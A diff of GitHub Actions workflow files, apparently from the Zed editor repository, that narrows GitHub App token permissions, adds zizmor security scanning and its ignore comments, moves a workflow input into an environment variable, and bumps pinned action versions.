index 2e7c6e8a397a70..1b05da608571a6 100644
--- a/.github/workflows/autofix_pr.yml
+++ b/.github/workflows/autofix_pr.yml
@@ -53,7 +53,7 @@ jobs:
         version: '9'
     - name: autofix_pr::run_autofix::install_cargo_machete
       if: ${{ inputs.run_clippy }}
-      uses: taiki-e/install-action@02cc5f8ca9f2301050c0c099055816a41ee05507
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9
       with:
         tool: cargo-machete@0.7.0
     - name: autofix_pr::run_autofix::run_cargo_fix
@@ -104,6 +104,8 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
         permission-contents: write
         permission-workflows: write
     - name: steps::checkout_repo
diff --git a/.github/workflows/bump_patch_version.yml b/.github/workflows/bump_patch_version.yml
index 7be909c907ccb1..eef26b5f6f01fb 100644
--- a/.github/workflows/bump_patch_version.yml
+++ b/.github/workflows/bump_patch_version.yml
@@ -23,6 +23,9 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
+        permission-contents: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
@@ -55,7 +58,7 @@ jobs:
             echo "tag_suffix=$tag_suffix"
         } >> "$GITHUB_OUTPUT"
     - name: steps::install_cargo_edit
-      uses: taiki-e/install-action@02cc5f8ca9f2301050c0c099055816a41ee05507
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9
       with:
         tool: cargo-edit
     - id: bump-version
diff --git a/.github/workflows/bump_zed_version.yml b/.github/workflows/bump_zed_version.yml
index 07b17aca32a162..ee007db74d23f9 100644
--- a/.github/workflows/bump_zed_version.yml
+++ b/.github/workflows/bump_zed_version.yml
@@ -21,6 +21,9 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
+        permission-contents: read
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
@@ -98,6 +101,10 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
+        permission-contents: write
+        permission-pull-requests: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
@@ -105,7 +112,7 @@ jobs:
         ref: main
         token: ${{ steps.generate-token.outputs.token }}
     - name: steps::install_cargo_edit
-      uses: taiki-e/install-action@02cc5f8ca9f2301050c0c099055816a41ee05507
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9
       with:
         tool: cargo-edit
     - name: bump_zed_version::bump_main::bump_version
@@ -141,6 +148,9 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
+        permission-contents: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
@@ -196,6 +206,9 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
+        permission-contents: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
diff --git a/.github/workflows/catch_blank_issues.yml b/.github/workflows/catch_blank_issues.yml
index dbceac5a196f2d..15a61a50cfcaee 100644
--- a/.github/workflows/catch_blank_issues.yml
+++ b/.github/workflows/catch_blank_issues.yml
@@ -21,6 +21,9 @@ jobs:
           app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
+          repositories: zed
+          permission-members: read
+          permission-issues: write
 
       - id: check-staff
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
diff --git a/.github/workflows/cherry_pick.yml b/.github/workflows/cherry_pick.yml
index 48474ac0bd55e5..4ff5b9bcf80b7d 100644
--- a/.github/workflows/cherry_pick.yml
+++ b/.github/workflows/cherry_pick.yml
@@ -33,6 +33,8 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
         permission-contents: write
         permission-workflows: write
         permission-pull-requests: write
diff --git a/.github/workflows/comment_on_potential_duplicate_issues.yml b/.github/workflows/comment_on_potential_duplicate_issues.yml
index c6e79bff8488ff..498aafb434a8ed 100644
--- a/.github/workflows/comment_on_potential_duplicate_issues.yml
+++ b/.github/workflows/comment_on_potential_duplicate_issues.yml
@@ -41,6 +41,8 @@ jobs:
           app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
+          repositories: zed
+          permission-issues: write
 
       - name: Set up Python
         uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
diff --git a/.github/workflows/community_pr_board.yml b/.github/workflows/community_pr_board.yml
index d155cf8275dbb5..16d4a4f8f733b6 100644
--- a/.github/workflows/community_pr_board.yml
+++ b/.github/workflows/community_pr_board.yml
@@ -12,6 +12,9 @@
 name: Community PR Board
 
 on:
+  # zizmor: ignore[dangerous-triggers]
+  # Fork PRs must be supported, but this workflow only reads event metadata and
+  # checks out scripts from the trusted default branch; it never executes PR code.
   pull_request_target:
     types: [labeled, unlabeled, assigned, review_requested, edited]
   issue_comment:
@@ -50,6 +53,10 @@ jobs:
           app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
+          repositories: zed
+          permission-issues: read
+          permission-organization-projects: write
+          permission-pull-requests: read
 
       - name: Checkout repository
         uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
diff --git a/.github/workflows/community_pr_board_refresh.yml b/.github/workflows/community_pr_board_refresh.yml
index 1d77638c82d381..f4b0c293cf657a 100644
--- a/.github/workflows/community_pr_board_refresh.yml
+++ b/.github/workflows/community_pr_board_refresh.yml
@@ -32,6 +32,10 @@ jobs:
           app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
+          repositories: zed
+          permission-issues: read
+          permission-organization-projects: write
+          permission-pull-requests: read
 
       - name: Checkout repository
         uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
diff --git a/.github/workflows/danger.yml b/.github/workflows/danger.yml
index 0ec9b51f1be5e6..22ffdc6f34552a 100644
--- a/.github/workflows/danger.yml
+++ b/.github/workflows/danger.yml
@@ -31,6 +31,7 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
         cache: pnpm
         cache-dependency-path: script/danger/pnpm-lock.yaml
     - name: danger::danger_job::install_deps
diff --git a/.github/workflows/deploy_collab.yml b/.github/workflows/deploy_collab.yml
index b40c55afb14ac7..c9624eaa65228c 100644
--- a/.github/workflows/deploy_collab.yml
+++ b/.github/workflows/deploy_collab.yml
@@ -68,7 +68,9 @@ jobs:
     - name: steps::download_wasi_sdk
       run: ./script/download-wasi-sdk
     - name: steps::cargo_install_nextest
-      uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9
+      with:
+        tool: nextest
     - name: steps::clear_target_dir_if_large
       run: ./script/clear-target-dir-if-larger-than 350 200
     - name: deploy_collab::tests::run_collab_tests
diff --git a/.github/workflows/docs_suggestions.yml b/.github/workflows/docs_suggestions.yml
index f0405af5e94424..1509e79ad92ac7 100644
--- a/.github/workflows/docs_suggestions.yml
+++ b/.github/workflows/docs_suggestions.yml
@@ -9,32 +9,25 @@ name: Documentation Suggestions
 # 5. Keep this workflow focused on suggestions only until that stable workflow is added.
 
 on:
-  # Run when PRs are merged to main
+  # Analyze merged PRs on main and cherry-picks to release branches. Each job
+  # further restricts the event actions and target branch that it handles.
   pull_request:
-    types: [closed]
-    branches: [main]
-    paths:
-      - 'crates/**/*.rs'
-      - '!crates/**/*_test.rs'
-      - '!crates/**/tests/**'
-
-  # Run on cherry-picks to release branches
-  pull_request_target:
-    types: [opened, synchronize]
+    types: [closed, opened, synchronize]
     branches:
-      - 'v0.*'
+      - main
+      - "v0.*"
     paths:
-      - 'crates/**/*.rs'
+      - "crates/**/*.rs"
 
   # Manual trigger for testing
   workflow_dispatch:
     inputs:
       pr_number:
-        description: 'PR number to analyze'
+        description: "PR number to analyze"
         required: true
         type: string
       mode:
-        description: 'Output mode'
+        description: "Output mode"
         required: true
         type: choice
         options:
@@ -89,7 +82,6 @@ jobs:
             fi
             sleep $((i * 5))
           done
-          echo "${HOME}/.local/bin" >> "$GITHUB_PATH"
         env:
           FACTORY_API_KEY: ${{ secrets.FACTORY_API_KEY }}
 
@@ -125,6 +117,8 @@ jobs:
           FACTORY_API_KEY: ${{ secrets.FACTORY_API_KEY }}
           PR_NUMBER: ${{ steps.pr.outputs.number }}
         run: |
+          export PATH="${HOME}/.local/bin:${PATH}"
+
           # Ensure gh CLI is authenticated (GH_TOKEN may not be auto-detected)
           # Unset GH_TOKEN first to allow gh auth login to store credentials
           echo "$GH_TOKEN" | (unset GH_TOKEN && gh auth login --with-token)
@@ -292,8 +286,10 @@ jobs:
       group: docs-suggestions-${{ github.event.pull_request.number || inputs.pr_number || 'manual' }}
       cancel-in-progress: true
     if: |
-      (github.event_name == 'pull_request_target' &&
+      (github.event_name == 'pull_request' &&
+       contains(fromJSON('["opened","synchronize"]'), github.event.action) &&
        startsWith(github.event.pull_request.base.ref, 'v0.') &&
+       github.event.pull_request.head.repo.full_name == github.repository &&
        contains(fromJSON('["MEMBER","OWNER"]'),
                 github.event.pull_request.author_association)) ||
       (github.event_name == 'workflow_dispatch' && inputs.mode == 'immediate')
@@ -303,7 +299,7 @@ jobs:
         uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
         with:
           fetch-depth: 0
-          ref: ${{ github.event_name == 'pull_request_target' && github.event.pull_request.base.ref || '' }}
+          ref: ${{ github.event_name == 'pull_request' && github.event.pull_request.base.ref || '' }}
           persist-credentials: false
 
       - name: Install Droid CLI
@@ -322,7 +318,6 @@ jobs:
             fi
             sleep $((i * 5))
           done
-          echo "${HOME}/.local/bin" >> "$GITHUB_PATH"
         env:
           FACTORY_API_KEY: ${{ secrets.FACTORY_API_KEY }}
 
@@ -350,6 +345,8 @@ jobs:
           FACTORY_API_KEY: ${{ secrets.FACTORY_API_KEY }}
           PR_NUMBER: ${{ steps.pr.outputs.number }}
         run: |
+          export PATH="${HOME}/.local/bin:${PATH}"
+
           # Ensure gh CLI is authenticated (GH_TOKEN may not be auto-detected)
           # Unset GH_TOKEN first to allow gh auth login to store credentials
           echo "$GH_TOKEN" | (unset GH_TOKEN && gh auth login --with-token)
diff --git a/.github/workflows/extension_bump.yml b/.github/workflows/extension_bump.yml
index 494a97b0977469..0b611bfdafb5a1 100644
--- a/.github/workflows/extension_bump.yml
+++ b/.github/workflows/extension_bump.yml
@@ -81,6 +81,10 @@ jobs:
       with:
         app-id: ${{ secrets.app-id }}
         private-key: ${{ secrets.app-secret }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
+        permission-contents: write
+        permission-pull-requests: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
@@ -170,6 +174,9 @@ jobs:
       with:
         app-id: ${{ secrets.app-id }}
         private-key: ${{ secrets.app-secret }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
+        permission-contents: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
@@ -222,6 +229,10 @@ jobs:
         private-key: ${{ secrets.app-secret }}
         owner: zed-industries
         repositories: extensions
+        permission-contents: write
+        permission-issues: write
+        permission-members: read
+        permission-pull-requests: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
diff --git a/.github/workflows/extension_tests.yml b/.github/workflows/extension_tests.yml
index 9a6f223f38f22e..885ef12b3d2015 100644
--- a/.github/workflows/extension_tests.yml
+++ b/.github/workflows/extension_tests.yml
@@ -99,7 +99,9 @@ jobs:
       env:
         PACKAGE_NAME: ${{ steps.get-package-name.outputs.package_name }}
     - name: steps::cargo_install_nextest
-      uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9
+      with:
+        tool: nextest
     - name: extension_tests::run_nextest
       run: 'cargo nextest run -p "$PACKAGE_NAME" --no-fail-fast --no-tests=warn --target "$(rustc -vV | sed -n ''s|host: ||p'')"'
       env:
diff --git a/.github/workflows/extension_workflow_rollout.yml b/.github/workflows/extension_workflow_rollout.yml
index d1a47870e6f486..a295c20ddbcb8e 100644
--- a/.github/workflows/extension_workflow_rollout.yml
+++ b/.github/workflows/extension_workflow_rollout.yml
@@ -72,7 +72,7 @@ jobs:
               .filter(repo => !repo.archived)
               .map(repo => repo.name);
 
-          const filterInput = `${{ inputs.filter-repos }}`.trim();
+          const filterInput = process.env.FILTER_REPOS.trim();
           if (filterInput.length > 0) {
               const allowedNames = filterInput.split(',').map(s => s.trim()).filter(s => s.length > 0);
               filteredRepos = filteredRepos.filter(name => allowedNames.includes(name));
@@ -82,6 +82,8 @@ jobs:
           console.log(`Found ${filteredRepos.length} extension repos`);
           return filteredRepos;
         result-encoding: json
+      env:
+        FILTER_REPOS: ${{ inputs.filter-repos }}
     - name: steps::cache_rust_dependencies_namespace
       uses: namespacelabs/nscloud-cache-action@a90bb5d4b27522ce881c6e98eebd7d7e6d1653f9
       with:
@@ -215,6 +217,8 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
         permission-contents: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
diff --git a/.github/workflows/guild_assignment_status.yml b/.github/workflows/guild_assignment_status.yml
index 77f03168c4e4c5..c91c05bb544291 100644
--- a/.github/workflows/guild_assignment_status.yml
+++ b/.github/workflows/guild_assignment_status.yml
@@ -34,6 +34,11 @@ jobs:
           app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
+          repositories: zed
+          permission-issues: write
+          permission-members: read
+          permission-organization-projects: write
+          permission-pull-requests: read
 
       - name: Checkout repository
         uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
diff --git a/.github/workflows/guild_new_pr_notify.yml b/.github/workflows/guild_new_pr_notify.yml
index afa9b07d87b7d1..52b4107bb255d4 100644
--- a/.github/workflows/guild_new_pr_notify.yml
+++ b/.github/workflows/guild_new_pr_notify.yml
@@ -7,6 +7,9 @@
 name: Guild New PR Notification
 
 on:
+  # zizmor: ignore[dangerous-triggers]
+  # Fork PRs must be supported, but this workflow only reads event metadata and
+  # checks out scripts from the trusted default branch; it never executes PR code.
   pull_request_target:
     types: [opened]
 
@@ -31,6 +34,11 @@ jobs:
           app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
+          repositories: zed
+          permission-issues: write
+          permission-members: read
+          permission-organization-projects: write
+          permission-pull-requests: read
 
       - name: Checkout repository
         uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
diff --git a/.github/workflows/guild_stale_assignments.yml b/.github/workflows/guild_stale_assignments.yml
index 90b47988c3fd61..81a7f0c0ff3931 100644
--- a/.github/workflows/guild_stale_assignments.yml
+++ b/.github/workflows/guild_stale_assignments.yml
@@ -32,6 +32,11 @@ jobs:
           app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
+          repositories: zed
+          permission-issues: write
+          permission-members: read
+          permission-organization-projects: write
+          permission-pull-requests: read
 
       - name: Checkout repository
         uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
diff --git a/.github/workflows/guild_weekly_shipped.yml b/.github/workflows/guild_weekly_shipped.yml
index 9f2a7fb4c8ccbf..1f3bf71feaf67c 100644
--- a/.github/workflows/guild_weekly_shipped.yml
+++ b/.github/workflows/guild_weekly_shipped.yml
@@ -30,6 +30,11 @@ jobs:
           app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
+          repositories: zed
+          permission-issues: read
+          permission-members: read
+          permission-organization-projects: read
+          permission-pull-requests: read
 
       - name: Checkout repository
         uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
diff --git a/.github/workflows/pr_issue_labeler.yml b/.github/workflows/pr_issue_labeler.yml
index 524d301aecc865..f783db10c1ba18 100644
--- a/.github/workflows/pr_issue_labeler.yml
+++ b/.github/workflows/pr_issue_labeler.yml
@@ -12,6 +12,9 @@ name: PR Issue Labeler
 on:
   issues:
     types: [opened]
+  # zizmor: ignore[dangerous-triggers]
+  # Fork PRs must be labeled, but this workflow only passes GitHub-provided event
+  # metadata to a pinned action; it never checks out or executes PR code.
   pull_request_target:
     types: [opened]
 
@@ -30,6 +33,10 @@ jobs:
           app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
+          repositories: zed
+          permission-issues: write
+          permission-members: read
+          permission-pull-requests: read
 
       - id: apply-authorship-label
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
diff --git a/.github/workflows/publish_extension_cli.yml b/.github/workflows/publish_extension_cli.yml
index bee3c7c21f51e5..6f14092a6658d3 100644
--- a/.github/workflows/publish_extension_cli.yml
+++ b/.github/workflows/publish_extension_cli.yml
@@ -42,6 +42,8 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
         permission-contents: write
     - name: steps::update_tag
       uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b
@@ -67,6 +69,11 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
+        permission-contents: write
+        permission-pull-requests: write
+        permission-workflows: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
@@ -121,6 +128,9 @@ jobs:
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
         owner: zed-industries
         repositories: extensions
+        permission-contents: write
+        permission-pull-requests: write
+        permission-workflows: write
     - id: short-sha
       name: publish_extension_cli::get_short_sha
       run: |
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 5a3808e06323c6..0e59362fddc7ae 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -33,8 +33,11 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::cargo_install_nextest
-      uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9
+      with:
+        tool: nextest
     - name: steps::clear_target_dir_if_large
       run: ./script/clear-target-dir-if-larger-than 350 200
     - name: steps::setup_sccache
@@ -82,8 +85,11 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::cargo_install_nextest
-      uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9
+      with:
+        tool: nextest
     - name: steps::clear_target_dir_if_large
       run: ./script/clear-target-dir-if-larger-than 350 200
     - name: steps::setup_sccache
@@ -128,6 +134,7 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::clear_target_dir_if_large
       run: ./script/clear-target-dir-if-larger-than.ps1 350 200
       shell: pwsh
@@ -254,13 +261,6 @@ jobs:
         clean: false
     - name: run_tests::check_scripts::run_shellcheck
       run: ./script/shellcheck-scripts error
-    - id: get_actionlint
-      name: run_tests::check_scripts::download_actionlint
-      run: bash <(curl https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash)
-    - name: run_tests::check_scripts::run_actionlint
-      run: '"$ACTIONLINT_BIN" -color'
-      env:
-        ACTIONLINT_BIN: ${{ steps.get_actionlint.outputs.executable }}
     - name: steps::cache_rust_dependencies_namespace
       uses: namespacelabs/nscloud-cache-action@a90bb5d4b27522ce881c6e98eebd7d7e6d1653f9
       with:
@@ -274,6 +274,19 @@ jobs:
           echo "Please run 'cargo xtask workflows' locally and commit the changes"
           exit 1
         fi
+    - id: get_actionlint
+      name: run_tests::check_scripts::download_actionlint
+      run: bash <(curl https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash)
+    - name: run_tests::check_scripts::run_actionlint
+      run: '"$ACTIONLINT_BIN" -color'
+      env:
+        ACTIONLINT_BIN: ${{ steps.get_actionlint.outputs.executable }}
+    - name: run_tests::check_scripts::run_zizmor
+      uses: zizmorcore/zizmor-action@6599ee8b7a49aef6a770f63d261d214911a7ce02
+      with:
+        advanced-security: false
+        min-severity: high
+        version: latest
     timeout-minutes: 60
   create_draft_release:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
@@ -285,6 +298,8 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
         permission-contents: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
@@ -545,6 +560,7 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::setup_sentry
       uses: matbour/setup-sentry-cli@3e938c54b3018bdd019973689ef984e033b0454b
       with:
@@ -596,6 +612,7 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::setup_sentry
       uses: matbour/setup-sentry-cli@3e938c54b3018bdd019973689ef984e033b0454b
       with:
@@ -845,6 +862,9 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
+        permission-contents: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
diff --git a/.github/workflows/release_nightly.yml b/.github/workflows/release_nightly.yml
index cf9f4728aa4595..75f5708fe1f0b5 100644
--- a/.github/workflows/release_nightly.yml
+++ b/.github/workflows/release_nightly.yml
@@ -64,8 +64,11 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::cargo_install_nextest
-      uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9
+      with:
+        tool: nextest
     - name: steps::clear_target_dir_if_large
       run: ./script/clear-target-dir-if-larger-than 350 200
     - name: steps::setup_sccache
@@ -290,6 +293,7 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::setup_sentry
       uses: matbour/setup-sentry-cli@3e938c54b3018bdd019973689ef984e033b0454b
       with:
@@ -345,6 +349,7 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::setup_sentry
       uses: matbour/setup-sentry-cli@3e938c54b3018bdd019973689ef984e033b0454b
       with:
@@ -574,6 +579,8 @@ jobs:
       with:
         app-id: ${{ secrets.ZED_ZIPPY_APP_ID }}
         private-key: ${{ secrets.ZED_ZIPPY_APP_PRIVATE_KEY }}
+        owner: ${{ github.repository_owner }}
+        repositories: ${{ github.event.repository.name }}
         permission-contents: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
diff --git a/.github/workflows/run_bundling.yml b/.github/workflows/run_bundling.yml
index 4299bac4013a0b..a16651db4b4abe 100644
--- a/.github/workflows/run_bundling.yml
+++ b/.github/workflows/run_bundling.yml
@@ -197,6 +197,7 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::setup_sentry
       uses: matbour/setup-sentry-cli@3e938c54b3018bdd019973689ef984e033b0454b
       with:
@@ -247,6 +248,7 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::setup_sentry
       uses: matbour/setup-sentry-cli@3e938c54b3018bdd019973689ef984e033b0454b
       with:
diff --git a/.github/workflows/run_tests.yml b/.github/workflows/run_tests.yml
index 0841b4c748a6c1..ebe8b577146613 100644
--- a/.github/workflows/run_tests.yml
+++ b/.github/workflows/run_tests.yml
@@ -344,6 +344,7 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::clear_target_dir_if_large
       run: ./script/clear-target-dir-if-larger-than.ps1 350 200
       shell: pwsh
@@ -402,8 +403,11 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::cargo_install_nextest
-      uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9
+      with:
+        tool: nextest
     - name: steps::clear_target_dir_if_large
       run: ./script/clear-target-dir-if-larger-than 350 200
     - name: steps::setup_sccache
@@ -454,8 +458,11 @@ jobs:
       with:
         node-version: '24'
         check-latest: true
+        package-manager-cache: false
     - name: steps::cargo_install_nextest
-      uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9
+      with:
+        tool: nextest
     - name: steps::clear_target_dir_if_large
       run: ./script/clear-target-dir-if-larger-than 350 200
     - name: steps::setup_sccache
@@ -694,7 +701,7 @@ jobs:
         cache: rust
         path: ~/.rustup
     - name: run_tests::check_dependencies::install_cargo_machete
-      uses: taiki-e/install-action@02cc5f8ca9f2301050c0c099055816a41ee05507
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9
       with:
         tool: cargo-machete@0.7.0
     - name: run_tests::check_dependencies::run_cargo_machete
@@ -804,13 +811,6 @@ jobs:
         clean: false
     - name: run_tests::check_scripts::run_shellcheck
       run: ./script/shellcheck-scripts error
-    - id: get_actionlint
-      name: run_tests::check_scripts::download_actionlint
-      run: bash <(curl https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash)
-    - name: run_tests::check_scripts::run_actionlint
-      run: '"$ACTIONLINT_BIN" -color'
-      env:
-        ACTIONLINT_BIN: ${{ steps.get_actionlint.outputs.executable }}
     - name: steps::cache_rust_dependencies_namespace
       uses: namespacelabs/nscloud-cache-action@a90bb5d4b27522ce881c6e98eebd7d7e6d1653f9
       with:
@@ -824,6 +824,19 @@ jobs:
           echo "Please run 'cargo xtask workflows' locally and commit the changes"
           exit 1
         fi
+    - id: get_actionlint
+      name: run_tests::check_scripts::download_actionlint
+      run: bash <(curl https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash)
+    - name: run_tests::check_scripts::run_actionlint
+      run: '"$ACTIONLINT_BIN" -color'
